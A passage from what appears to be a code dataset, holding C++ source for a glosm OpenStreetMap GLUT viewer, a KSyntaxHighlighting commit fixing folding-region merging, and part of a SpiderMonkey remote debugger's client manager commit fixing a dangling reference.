<map>\n\n#include <glosm\/geomath.h>\n\n#include <glosm\/Math.hh>\n\n#include <glosm\/SphericalProjection.hh>\n#include <glosm\/MercatorProjection.hh>\n#include <glosm\/PreloadedXmlDatasource.hh>\n#include <glosm\/GeometryGenerator.hh>\n#include <glosm\/FirstPersonViewer.hh>\n#include <glosm\/GeometryLayer.hh>\n\n\/* as glut has no OO concept and no feature like setUserData,\n * please forgive me using global variables pointing to\n * stack data for now *\/\nFirstPersonViewer viewer;\nGeometryLayer* layer_p = NULL;\n\nint screenw = 1;\nint screenh = 1;\nint movementflags = 0;\nfloat speed = 200.0f;\nint lockheight = 0;\n\nstruct timeval prevtime, curtime, fpstime;\nint nframes = 0;\n\n\/* stuff that may eb changed with args *\/\nProjection proj = MercatorProjection();\nint tilelevel = -1;\n\nvoid Display(void) {\n\t\/* update scene *\/\n\tgettimeofday(&curtime, NULL);\n\tfloat dt = (float)(curtime.tv_sec - prevtime.tv_sec) + (float)(curtime.tv_usec - prevtime.tv_usec)\/1000000.0f;\n\n\t\/* render frame *\/\n\tglClearColor(0.5, 0.5, 0.5, 0.0);\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n\tif (layer_p) {\n\t\tif (tilelevel >= 0) {\n\t\t\tint radius = 5000000;\n\t\t\tlayer_p->RequestVisible(BBoxi(viewer.GetPos(MercatorProjection()) - Vector2i(radius, radius), viewer.GetPos(MercatorProjection()) + Vector2i(radius, radius)), 0);\n\t\t\tlayer_p->GarbageCollect();\n\t\t}\n\t\tlayer_p->Render(viewer);\n\t}\n\n\tglFlush();\n\tglutSwapBuffers();\n\n\t\/* movement *\/\n\tif (movementflags) {\n\t\tfloat myspeed = speed;\n\t\tfloat height = viewer.MutablePos().z \/ GEOM_UNITSINMETER;\n\n\t\t\/* don't scale down under 100 meters *\/\n\t\tif (height > 100.0)\n\t\t\tmyspeed *= height \/ 100.0;\n\n\t\tviewer.Move(movementflags, myspeed, dt);\n\t}\n\tif (lockheight != 0)\n\t\tviewer.MutablePos().z = lockheight;\n\n\t\/* update FPS *\/\n\tfloat fpst = (float)(curtime.tv_sec - fpstime.tv_sec) + (float)(curtime.tv_usec - fpstime.tv_usec)\/1000000.0f;\n\n\tif (fpst > 10.0) {\n\t\tfprintf(stderr, \"FPS: %.3f\\n\", (float)nframes\/fpst);\n\t\tfpstime = curtime;\n\t\tnframes = 0;\n\t}\n\n\tprevtime = curtime;\n\tnframes++;\n\n\t\/* frame limiter *\/\n\tusleep(10000);\n}\n\nvoid Reshape(int w, int h) {\n\tif (w <= 0)\n\t\tw = 1;\n\tif (h <= 0)\n\t\th = 1;\n\n\tscreenw = w;\n\tscreenh = h;\n\n\tfloat wanted_fov = 70.0f\/180.0f*M_PI;\n\tfloat wanted_aspect = 4.0f\/3.0f;\n\n\tfloat fov, aspect;\n\n\tif ((float)w\/(float)h > wanted_aspect) { \/\/ wider than wanted\n\t\tfov = wanted_fov;\n\t} else { \/\/ narrower than wanted\n\t\tfloat wanted_h = (float)w\/wanted_aspect;\n\t\tfov = 2.0f*atanf((float)h \/ wanted_h * tanf(wanted_fov\/2.0f));\n\t}\n\tfov = wanted_fov;\n\taspect = (float)w\/(float)h;\n\n\tglViewport(0, 0, w, h);\n\n\tviewer.SetFov(fov);\n\tviewer.SetAspect(aspect);\n\n\tglutWarpPointer(screenw\/2, screenh\/2);\n}\n\nvoid Mouse(int x, int y) {\n\tint dx = x - screenw\/2;\n\tint dy = y - screenh\/2;\n\n\tfloat YawDelta = (float)dx \/ 500.0;\n\tfloat PitchDelta = -(float)dy \/ 500.0;\n\n\tviewer.HardRotate(YawDelta, PitchDelta);\n\n\tif (dx != 0 || dy != 0)\n\t\tglutWarpPointer(screenw\/2, screenh\/2);\n}\n\nvoid SpecialDown(int key, int, int) {\n\tswitch (key) {\n\tcase GLUT_KEY_UP: movementflags |= FirstPersonViewer::FORWARD; break;\n\tcase GLUT_KEY_DOWN: movementflags |= FirstPersonViewer::BACKWARD; break;\n\tcase GLUT_KEY_LEFT: movementflags |= FirstPersonViewer::LEFT; break;\n\tcase GLUT_KEY_RIGHT: movementflags |= FirstPersonViewer::RIGHT; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid SpecialUp(int key, int, int) {\n\tswitch (key) {\n\tcase GLUT_KEY_UP: movementflags &= ~FirstPersonViewer::FORWARD; break;\n\tcase GLUT_KEY_DOWN: movementflags &= ~FirstPersonViewer::BACKWARD; break;\n\tcase GLUT_KEY_LEFT: movementflags &= ~FirstPersonViewer::LEFT; break;\n\tcase GLUT_KEY_RIGHT: movementflags &= ~FirstPersonViewer::RIGHT; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid KeyDown(unsigned char key, int, int) {\n\tswitch (key) {\n\tcase 27: case 'q': exit(0); break;\n\tcase 'w': movementflags |= FirstPersonViewer::FORWARD; break;\n\tcase 's': movementflags |= FirstPersonViewer::BACKWARD; break;\n\tcase 'a': movementflags |= FirstPersonViewer::LEFT; break;\n\tcase 'd': movementflags |= FirstPersonViewer::RIGHT; break;\n\tcase 'c': movementflags |= FirstPersonViewer::LOWER; break;\n\tcase ' ': movementflags |= FirstPersonViewer::HIGHER; break;\n\tcase 'l': lockheight = (lockheight == 0 ? viewer.MutablePos().z : 0); break;\n\tcase 'h': lockheight = (lockheight == 0 ? 1750 : 0); break;\n\tcase '+': speed *= 5.0f; break;\n\tcase '-': speed \/= 5.0f; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid KeyUp(unsigned char key, int, int) {\n\tswitch (key) {\n\tcase 'w': movementflags &= ~FirstPersonViewer::FORWARD; break;\n\tcase 's': movementflags &= ~FirstPersonViewer::BACKWARD; break;\n\tcase 'a': movementflags &= ~FirstPersonViewer::LEFT; break;\n\tcase 'd': movementflags &= ~FirstPersonViewer::RIGHT; break;\n\tcase 'c': movementflags &= ~FirstPersonViewer::LOWER; break;\n\tcase ' ': movementflags &= ~FirstPersonViewer::HIGHER; break;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid usage(const char* progname) {\n\tfprintf(stderr, \"Usage: %s [-s] file.osm\\n\", progname);\n\texit(1);\n}\n\nint real_main(int argc, char** argv) {\n\tglutInit(&argc, argv);\n\n\t\/* argument parsing *\/\n\tint c;\n\tconst char* progname = argv[0];\n\twhile ((c = getopt(argc, argv, \"st:\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 's': proj = SphericalProjection(); break;\n\t\tcase 't': tilelevel = strtol(optarg, NULL, 10); break;\n\t\tdefault:\n\t\t\tusage(progname);\n\t\t}\n\t}\n\n\targc -= optind;\n\targv += optind;\n\n\tif (argc != 1)\n\t\tusage(progname);\n\n\t\/* load data *\/\n\tfprintf(stderr, \"Loading...\\n\");\n\tPreloadedXmlDatasource osm_datasource;\n\tgettimeofday(&prevtime, NULL);\n\tosm_datasource.Load(argv[0]);\n\tgettimeofday(&curtime, NULL);\n\tfprintf(stderr, \"Loaded XML in %.3f seconds\\n\", (float)(curtime.tv_sec - prevtime.tv_sec) + (float)(curtime.tv_usec - prevtime.tv_usec)\/1000000.0f);\n\tprevtime = curtime;\n\tfpstime = curtime;\n\n\t\/* glut init *\/\n\tglutInitDisplayMode(GLUT_DEPTH | GLUT_DOUBLE | GLUT_RGBA | GLUT_MULTISAMPLE);\n\tglutInitWindowSize(800, 600);\n\tglutCreateWindow(\"glosm viewer\");\n\n\tglutIgnoreKeyRepeat(1);\n\tglutSetCursor(GLUT_CURSOR_NONE);\n\n\tglutDisplayFunc(Display);\n\tglutIdleFunc(Display);\n\tglutReshapeFunc(Reshape);\n\tglutPassiveMotionFunc(Mouse);\n\tglutKeyboardFunc(KeyDown);\n\tglutKeyboardUpFunc(KeyUp);\n\tglutSpecialFunc(SpecialDown);\n\tglutSpecialUpFunc(SpecialUp);\n\n\t\/* glosm init *\/\n\tGeometryGenerator geometry_generator(osm_datasource);\n\tGeometryLayer layer(proj, geometry_generator);\n\tif (tilelevel >= 0)\n\t\tlayer.SetTargetLevel(tilelevel);\n\telse\n\t\tlayer.RequestVisible(geometry_generator.GetBBox(), TileManager::EXPLICIT);\n\tlayer_p = &layer;\n\n\tint height = fabs((float)geometry_generator.GetBBox().top - (float)geometry_generator.GetBBox().bottom) \/ GEOM_LONSPAN * WGS84_EARTH_EQ_LENGTH * GEOM_UNITSINMETER \/ 10.0;\n\tviewer.SetPos(Vector3i(geometry_generator.GetCenter(), height));\n\tviewer.HardRotate(0, -M_PI_4);\n\n\t\/* main loop *\/\n\t\/* note that this never returns and objects created above\n\t * are never properly destroyed; should dump GLUT ASAP *\/\n\tglutMainLoop();\n\n\treturn 0;\n}\n\nint main(int argc, char** argv) {\n\ttry {\n\t\treturn real_main(argc, argv);\n\t} catch (std::exception &e) {\n\t\tfprintf(stderr, \"Exception: %s\\n\", e.what());\n\t} catch (...) {\n\t\tfprintf(stderr, \"Unknown exception\\n\");\n\t}\n\n\treturn 1;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (C) 2016 Volker Krause <vkrause@kde.org>\n\n This program is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Library General Public License as published by\n the Free Software Foundation; either version 2 of the License, or (at your\n option) any later version.\n\n This program is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public\n License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"syntaxhighlighter.h\"\n#include \"abstracthighlighter_p.h\"\n#include \"definition.h\"\n#include \"foldingregion.h\"\n#include \"format.h\"\n#include \"state.h\"\n#include \"theme.h\"\n\n#include <QDebug>\n\nQ_DECLARE_METATYPE(QTextBlock)\n\nusing namespace KSyntaxHighlighting;\n\nnamespace KSyntaxHighlighting {\nclass TextBlockUserData : public QTextBlockUserData\n{\npublic:\n State state;\n QVector<FoldingRegion> foldingRegions;\n};\n\nclass SyntaxHighlighterPrivate : public AbstractHighlighterPrivate\n{\npublic:\n static FoldingRegion foldingRegion(const QTextBlock &startBlock);\n QVector<FoldingRegion> foldingRegions;\n};\n\n}\n\nFoldingRegion SyntaxHighlighterPrivate::foldingRegion(const QTextBlock& startBlock)\n{\n const auto data = dynamic_cast<TextBlockUserData*>(startBlock.userData());\n if (!data)\n return FoldingRegion();\n for (int i = data->foldingRegions.size() - 1; i >= 0; --i) {\n if (data->foldingRegions.at(i).type() == FoldingRegion::Begin)\n return data->foldingRegions.at(i);\n }\n return FoldingRegion();\n}\n\nSyntaxHighlighter::SyntaxHighlighter(QObject* parent) :\n QSyntaxHighlighter(parent),\n AbstractHighlighter(new SyntaxHighlighterPrivate)\n{\n qRegisterMetaType<QTextBlock>();\n}\n\nSyntaxHighlighter::SyntaxHighlighter(QTextDocument *document) :\n QSyntaxHighlighter(document),\n AbstractHighlighter(new SyntaxHighlighterPrivate)\n{\n qRegisterMetaType<QTextBlock>();\n}\n\nSyntaxHighlighter::~SyntaxHighlighter()\n{\n}\n\nvoid SyntaxHighlighter::setDefinition(const Definition& def)\n{\n const auto needsRehighlight = definition() != def;\n AbstractHighlighter::setDefinition(def);\n if (needsRehighlight)\n rehighlight();\n}\n\nbool SyntaxHighlighter::startsFoldingRegion(const QTextBlock &startBlock) const\n{\n return SyntaxHighlighterPrivate::foldingRegion(startBlock).type() == FoldingRegion::Begin;\n}\n\nQTextBlock SyntaxHighlighter::findFoldingRegionEnd(const QTextBlock &startBlock) const\n{\n const auto region = SyntaxHighlighterPrivate::foldingRegion(startBlock);\n\n auto block = startBlock;\n int depth = 1;\n while (block.isValid()) {\n block = block.next();\n const auto data = dynamic_cast<TextBlockUserData*>(block.userData());\n if (!data)\n continue;\n for (auto it = data->foldingRegions.constBegin(); it != data->foldingRegions.constEnd(); ++it) {\n if ((*it).id() != region.id())\n continue;\n if ((*it).type() == FoldingRegion::End)\n --depth;\n else if ((*it).type() == FoldingRegion::Begin)\n ++depth;\n if (depth == 0)\n return block;\n }\n }\n\n return QTextBlock();\n}\n\nvoid SyntaxHighlighter::highlightBlock(const QString& text)\n{\n Q_D(SyntaxHighlighter);\n\n State state;\n if (currentBlock().position() > 0) {\n const auto prevBlock = currentBlock().previous();\n const auto prevData = dynamic_cast<TextBlockUserData*>(prevBlock.userData());\n if (prevData)\n state = prevData->state;\n }\n d->foldingRegions.clear();\n state = highlightLine(text, state);\n\n auto data = dynamic_cast<TextBlockUserData*>(currentBlockUserData());\n if (!data) { \/\/ first time we highlight this\n data = new TextBlockUserData;\n data->state = state;\n data->foldingRegions = d->foldingRegions;\n setCurrentBlockUserData(data);\n return;\n }\n\n if (data->state == state && data->foldingRegions == d->foldingRegions) \/\/ we ended up in the same state, so we are done here\n return;\n data->state = state;\n data->foldingRegions = d->foldingRegions;\n\n const auto nextBlock = currentBlock().next();\n if (nextBlock.isValid())\n QMetaObject::invokeMethod(this, \"rehighlightBlock\", Qt::QueuedConnection, Q_ARG(QTextBlock, nextBlock));\n}\n\nvoid SyntaxHighlighter::applyFormat(int offset, int length, const KSyntaxHighlighting::Format& format)\n{\n if (format.isDefaultTextStyle(theme()) || length == 0)\n return;\n\n QTextCharFormat tf;\n if (format.hasTextColor(theme()))\n tf.setForeground(format.textColor(theme()));\n if (format.hasBackgroundColor(theme()))\n tf.setBackground(format.backgroundColor(theme()));\n\n if (format.isBold(theme()))\n tf.setFontWeight(QFont::Bold);\n if (format.isItalic(theme()))\n tf.setFontItalic(true);\n if (format.isUnderline(theme()))\n tf.setFontUnderline(true);\n if (format.isStrikeThrough(theme()))\n tf.setFontStrikeOut(true);\n\n QSyntaxHighlighter::setFormat(offset, length, tf);\n}\n\nvoid SyntaxHighlighter::applyFolding(int offset, int length, FoldingRegion region)\n{\n Q_UNUSED(offset);\n Q_UNUSED(length);\n Q_D(SyntaxHighlighter);\n\n if (region.type() == FoldingRegion::Begin)\n d->foldingRegions.push_back(region);\n\n if (region.type() == FoldingRegion::End) {\n for (int i = d->foldingRegions.size() - 1; i >= 0; --i) {\n if (d->foldingRegions.at(i).id() != region.id() || d->foldingRegions.at(i).type() != FoldingRegion::End)\n continue;\n d->foldingRegions.remove(i);\n return;\n }\n d->foldingRegions.push_back(region);\n }\n}\n<commit_msg>Fix folding region merging<commit_after>\/*\n Copyright (C) 2016 Volker Krause <vkrause@kde.org>\n\n This program is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Library General Public License as published by\n the Free Software Foundation; either version 2 of the License, or (at your\n option) any later version.\n\n This program is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public\n License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"syntaxhighlighter.h\"\n#include \"abstracthighlighter_p.h\"\n#include \"definition.h\"\n#include \"foldingregion.h\"\n#include \"format.h\"\n#include \"state.h\"\n#include \"theme.h\"\n\n#include <QDebug>\n\nQ_DECLARE_METATYPE(QTextBlock)\n\nusing namespace KSyntaxHighlighting;\n\nnamespace KSyntaxHighlighting {\nclass TextBlockUserData : public QTextBlockUserData\n{\npublic:\n State state;\n QVector<FoldingRegion> foldingRegions;\n};\n\nclass SyntaxHighlighterPrivate : public AbstractHighlighterPrivate\n{\npublic:\n static FoldingRegion foldingRegion(const QTextBlock &startBlock);\n QVector<FoldingRegion> foldingRegions;\n};\n\n}\n\nFoldingRegion SyntaxHighlighterPrivate::foldingRegion(const QTextBlock& startBlock)\n{\n const auto data = dynamic_cast<TextBlockUserData*>(startBlock.userData());\n if (!data)\n return FoldingRegion();\n for (int i = data->foldingRegions.size() - 1; i >= 0; --i) {\n if (data->foldingRegions.at(i).type() == FoldingRegion::Begin)\n return data->foldingRegions.at(i);\n }\n return FoldingRegion();\n}\n\nSyntaxHighlighter::SyntaxHighlighter(QObject* parent) :\n QSyntaxHighlighter(parent),\n AbstractHighlighter(new SyntaxHighlighterPrivate)\n{\n qRegisterMetaType<QTextBlock>();\n}\n\nSyntaxHighlighter::SyntaxHighlighter(QTextDocument *document) :\n QSyntaxHighlighter(document),\n AbstractHighlighter(new SyntaxHighlighterPrivate)\n{\n qRegisterMetaType<QTextBlock>();\n}\n\nSyntaxHighlighter::~SyntaxHighlighter()\n{\n}\n\nvoid SyntaxHighlighter::setDefinition(const Definition& def)\n{\n const auto needsRehighlight = definition() != def;\n AbstractHighlighter::setDefinition(def);\n if (needsRehighlight)\n rehighlight();\n}\n\nbool SyntaxHighlighter::startsFoldingRegion(const QTextBlock &startBlock) const\n{\n return SyntaxHighlighterPrivate::foldingRegion(startBlock).type() == FoldingRegion::Begin;\n}\n\nQTextBlock SyntaxHighlighter::findFoldingRegionEnd(const QTextBlock &startBlock) const\n{\n const auto region = SyntaxHighlighterPrivate::foldingRegion(startBlock);\n\n auto block = startBlock;\n int depth = 1;\n while (block.isValid()) {\n block = block.next();\n const auto data = dynamic_cast<TextBlockUserData*>(block.userData());\n if (!data)\n continue;\n for (auto it = data->foldingRegions.constBegin(); it != data->foldingRegions.constEnd(); ++it) {\n if ((*it).id() != region.id())\n continue;\n if ((*it).type() == FoldingRegion::End)\n --depth;\n else if ((*it).type() == FoldingRegion::Begin)\n ++depth;\n if (depth == 0)\n return block;\n }\n }\n\n return QTextBlock();\n}\n\nvoid SyntaxHighlighter::highlightBlock(const QString& text)\n{\n Q_D(SyntaxHighlighter);\n\n State state;\n if (currentBlock().position() > 0) {\n const auto prevBlock = currentBlock().previous();\n const auto prevData = dynamic_cast<TextBlockUserData*>(prevBlock.userData());\n if (prevData)\n state = prevData->state;\n }\n d->foldingRegions.clear();\n state = highlightLine(text, state);\n\n auto data = dynamic_cast<TextBlockUserData*>(currentBlockUserData());\n if (!data) { \/\/ first time we highlight this\n data = new TextBlockUserData;\n data->state = state;\n data->foldingRegions = d->foldingRegions;\n setCurrentBlockUserData(data);\n return;\n }\n\n if (data->state == state && data->foldingRegions == d->foldingRegions) \/\/ we ended up in the same state, so we are done here\n return;\n data->state = state;\n data->foldingRegions = d->foldingRegions;\n\n const auto nextBlock = currentBlock().next();\n if (nextBlock.isValid())\n QMetaObject::invokeMethod(this, \"rehighlightBlock\", Qt::QueuedConnection, Q_ARG(QTextBlock, nextBlock));\n}\n\nvoid SyntaxHighlighter::applyFormat(int offset, int length, const KSyntaxHighlighting::Format& format)\n{\n if (format.isDefaultTextStyle(theme()) || length == 0)\n return;\n\n QTextCharFormat tf;\n if (format.hasTextColor(theme()))\n tf.setForeground(format.textColor(theme()));\n if (format.hasBackgroundColor(theme()))\n tf.setBackground(format.backgroundColor(theme()));\n\n if (format.isBold(theme()))\n tf.setFontWeight(QFont::Bold);\n if (format.isItalic(theme()))\n tf.setFontItalic(true);\n if (format.isUnderline(theme()))\n tf.setFontUnderline(true);\n if (format.isStrikeThrough(theme()))\n tf.setFontStrikeOut(true);\n\n QSyntaxHighlighter::setFormat(offset, length, tf);\n}\n\nvoid SyntaxHighlighter::applyFolding(int offset, int length, FoldingRegion region)\n{\n Q_UNUSED(offset);\n Q_UNUSED(length);\n Q_D(SyntaxHighlighter);\n\n if (region.type() == FoldingRegion::Begin)\n d->foldingRegions.push_back(region);\n\n if (region.type() == FoldingRegion::End) {\n for (int i = d->foldingRegions.size() - 1; i >= 0; --i) {\n if (d->foldingRegions.at(i).id() != region.id() || d->foldingRegions.at(i).type() != FoldingRegion::Begin)\n continue;\n d->foldingRegions.remove(i);\n return;\n }\n d->foldingRegions.push_back(region);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * A Remote Debugger for SpiderMonkey Java Script engine.\n * Copyright (C) 2014-2015 Sławomir Wojtasiak\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"client.hpp\"\n\n#include <vector>\n#include <map>\n#include <string>\n\n#include <jsrdbg.h>\n\nusing namespace JSR;\nusing namespace Utils;\nusing namespace std;\n\n\/* Client event *\/\n\nClientEvent::ClientEvent(int code, int clientId)\n : Event(code),\n _clientId(clientId) {\n}\n\nClientEvent::~ClientEvent() {\n}\n\nint ClientEvent::getID() const {\n return _clientId;\n}\n\n\/* Command. *\/\n\nCommand::Command()\n : _clientId(0),\n _contextId(0) {\n}\n\nCommand::Command( int clientId, int engineId, const std::string &command )\n : _command( command ),\n _clientId( clientId ),\n _contextId( engineId ){\n}\n\nCommand::Command( int clientId, int engineId, char *buffer, int offset, size_t size )\n : _command( buffer, offset, size ),\n _clientId( clientId ),\n _contextId( engineId ) {\n}\n\nCommand::Command( const Command &command )\n : _command(command._command),\n _clientId(command._clientId),\n _contextId(command._contextId) {\n}\n\nCommand& Command::operator=( const Command &command ) {\n if (this != &command) {\n _command = command._command;\n _clientId = command._clientId;\n _contextId = command._contextId;\n }\n return *this;\n}\n\nCommand::~Command() {\n}\n\nint Command::getClientId() const {\n return _clientId;\n}\n\nint Command::getContextId() const {\n return _contextId;\n}\n\nconst std::string& Command::getValue() const {\n return _command;\n}\n\n\/* Client. *\/\n\nClient::Client( int id ) :\n _inCommands(MAX_CLIENT_QUEUE_LENGTH),\n _outCommands(MAX_CLIENT_QUEUE_LENGTH),\n _clientID(id) {\n}\n\nClient::~Client() {\n}\n\nvoid Client::disconnect() {\n}\n\nbool Client::isConnected() const {\n return true;\n}\n\nint Client::getID() const {\n return _clientID;\n}\n\nBlockingQueue<Command>& Client::getInQueue() {\n return _inCommands;\n}\n\nBlockingQueue<Command>& Client::getOutQueue() {\n return _outCommands;\n}\n\n\/* Client's manager *\/\n\nClientManager::ClientManager()\n : _log(LoggerFactory::getLogger()) {\n}\n\nClientManager::~ClientManager() {\n}\n\nvoid ClientManager::start() {\n}\n\nint ClientManager::addClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot add NULL client.\" );\n return JSR_ERROR_ILLEGAL_ARGUMENT;\n }\n _mutex.lock();\n _clients.insert( std::pair<int,ClientWrapper>( client->getID(), ClientWrapper( client ) ) );\n _mutex.unlock();\n ClientEvent event(EVENT_CODE_CLIENT_ADDED, client->getID());\n fire(event);\n return JSR_ERROR_NO_ERROR;\n}\n\nvoid ClientManager::broadcast( Command &command ) {\n vector<int> ids;\n \/\/ Collect all clients identificators.\n _mutex.lock();\n for( map<int,ClientWrapper>::iterator it = _clients.begin(); it != _clients.end(); it++ ) {\n ids.push_back(it->first);\n }\n _mutex.unlock();\n \/\/ Now having all identificators collected, try to send commands to clients\n \/\/ that are in conjunction with these identificators.\n for( vector<int>::iterator it = ids.begin(); it != ids.end(); it++ ) {\n ClientPtrHolder<Client> client( *this, *it );\n \/\/ Ignore clients that have been removed in this time window.\n if( client ) {\n client->getOutQueue().add( command );\n }\n }\n}\n\nbool ClientManager::sendCommand( Command &command ) {\n bool result = true;\n if( command.getClientId() == Command::BROADCAST ) {\n broadcast( command );\n } else {\n ClientPtrHolder<Client> client( *this, command.getClientId() );\n if( client ) {\n client->getOutQueue().push( command );\n } else {\n result = false;\n }\n }\n return result;\n}\n\nvoid ClientManager::removeClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot remove NULL client.\" );\n return;\n }\n int clientId = 0;\n int eventCode = 0;\n tryRemoveClient( client, eventCode );\n \/\/ Events cannot be fired inside the critical section\n \/\/ just because they might be blocked by actions which use\n \/\/ client manager from different threads, so it could\n \/\/ cause deadlocks.\n if( eventCode ) {\n ClientEvent event(eventCode, clientId);\n fire(event);\n }\n}\n\nbool ClientManager::tryRemoveClient(Client *client, int &eventCode) {\n \/\/ Only this block should be synchronized.\n MutexLock lock( _mutex );\n int clientId = client->getID();\n bool remove = false;\n \/\/ Remove the client if it exists.\n std::map<int,ClientWrapper>::iterator it = _clients.find( clientId );\n if( it != _clients.end() ) {\n ClientWrapper &wrapper = it->second;\n if( !wrapper.isMarkedToRemove() ) {\n if( wrapper.isRemovable() ) {\n remove = true;\n } else {\n wrapper.markRemove();\n eventCode = EVENT_CODE_CLIENT_MARKED_TO_REMOVE;\n }\n } else if ( wrapper.isRemovable() ) {\n remove = true;\n }\n if( remove ) {\n _clients.erase( it );\n wrapper.deleteClient();\n eventCode = EVENT_CODE_CLIENT_REMOVED;\n }\n }\n return remove;\n}\n\nClient* ClientManager::getClient( int id ) {\n MutexLock lock( _mutex );\n std::map<int,ClientWrapper>::iterator it = _clients.find( id );\n if( it != _clients.end() ) {\n return it->second.getClient();\n }\n return NULL;\n}\n\nvoid ClientManager::returnClient( Client *client ) {\n if( !client ) {\n _log.error( \"Cannot return NULL client.\" );\n return;\n }\n MutexLock lock( _mutex );\n std::map<int,ClientWrapper>::iterator it = _clients.find( client->getID() );\n if( it != _clients.end() ) {\n it->second.returnClient( client );\n } else {\n _log.error( \"Cannot return client with id: %d, because it doesn't exist in the manager.\", client->getID() );\n }\n}\n\nvoid ClientManager::periodicCleanup() {\n \/\/ Vector of clients that were removed.\n vector<int> removedClients;\n _mutex.lock();\n \/\/ Remove client's as soon as they can be removed.\n map<int,ClientWrapper>::iterator it = _clients.begin();\n while (it != _clients.end()) {\n if (it->second.isMarkedToRemove() && it->second.isRemovable()) {\n int clientId = it->second.getClient()->getID();\n it->second.deleteClient();\n map<int,ClientWrapper>::iterator toErase = it;\n ++it;\n _clients.erase(toErase);\n removedClients.push_back(clientId);\n } else {\n ++it;\n }\n }\n _mutex.unlock();\n \/\/ Fire events about removed clients.\n for( vector<int>::iterator it = removedClients.begin(); it != removedClients.end(); it++ ) {\n ClientEvent event(EVENT_CODE_CLIENT_REMOVED, *it);\n fire(event);\n }\n}\n\nint ClientManager::stop() {\n \/\/ Try to close and delete all existing clients. If any of them are in use yet,\n \/\/ they will be marked as 'to be removed' and can be removed further by calls\n \/\/ to 'periodicCleanup' its why the error code is returned.\n _mutex.lock();\n map<int,ClientWrapper> clients = _clients;\n vector<int> removedClients;\n for( map<int,ClientWrapper>::iterator it = clients.begin(); it != clients.end(); it++ ) {\n int eventCode;\n Client *client = it->second.getClient();\n int clientId = client->getID();\n if( tryRemoveClient( client, eventCode ) ) {\n removedClients.push_back( clientId );\n }\n }\n bool empty = _clients.empty();\n _mutex.unlock();\n \/\/ Fire events about removed clients.\n for( vector<int>::iterator it = removedClients.begin(); it != removedClients.end(); it++ ) {\n ClientEvent event(EVENT_CODE_CLIENT_REMOVED, *it);\n fire(event);\n }\n if( !empty ) {\n return JSR_ERROR_CANNOT_REMOVE_CONNECTIONS;\n }\n return JSR_ERROR_NO_ERROR;\n}\n\nint ClientManager::getClientsCount() {\n MutexLock lock( _mutex );\n int clients = _clients.size();\n return clients;\n}\n\nClientManager::ClientWrapper::ClientWrapper(Client *client) {\n this->client = client;\n this->counter = 0;\n this->removed = false;\n}\n\nClientManager::ClientWrapper::ClientWrapper(const ClientWrapper &cpy) {\n this->client = cpy.client;\n this->counter = cpy.counter;\n this->removed = cpy.removed;\n}\n\nClient* ClientManager::ClientWrapper::getClient() {\n counter++;\n return client;\n}\n\nvoid ClientManager::ClientWrapper::returnClient( Client *client ) {\n counter--;\n}\n\nbool ClientManager::ClientWrapper::isConnected() {\n return client && client->isConnected();\n}\n\nbool ClientManager::ClientWrapper::isRemovable() {\n return counter == 0;\n}\n\nvoid ClientManager::ClientWrapper::markRemove() {\n removed = true;\n}\n\nbool ClientManager::ClientWrapper::isMarkedToRemove() {\n return removed;\n}\n\nvoid ClientManager::ClientWrapper::deleteClient() {\n delete client;\n client = NULL;\n}\n<commit_msg>Fix dangling reference<commit_after>\/*\n * A Remote Debugger for SpiderMonkey Java Script engine.\n * Copyright (C) 2014-2015 Sławomir Wojtasiak\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"client.hpp\"\n\n#include <vector>\n#include <map>\n#include <string>\n\n#include <jsrdbg.h>\n\nusing namespace JSR;\nusing namespace Utils;\nusing namespace std;\n\n\/* Client event *\/\n\nClientEvent::ClientEvent(int code, int clientId)\n : Event(code),\n _clientId(clientId) {\n}\n\nClientEvent::~ClientEvent() {\n}\n\nint ClientEvent::getID() const {\n return _clientId;\n}\n\n\/* Command. *\/\n\nCommand::Command()\n : _clientId(0),\n _contextId(0) {\n}\n\nCommand::Command( int clientId, int engineId, const std::string &command )\n : _command( command ),\n _clientId( clientId ),\n _contextId( engineId ){\n}\n\nCommand::Command( int clientId, int engineId, char *buffer, int offset, size_t size )\n : _command( buffer, offset, size ),\n _clientId( clientId ),\n _contextId( engineId ) {\n}\n\nCommand::Command( const Command &command )\n : _command(command._command),\n _clientId(command._clientId),\n _contextId(command._contextId) 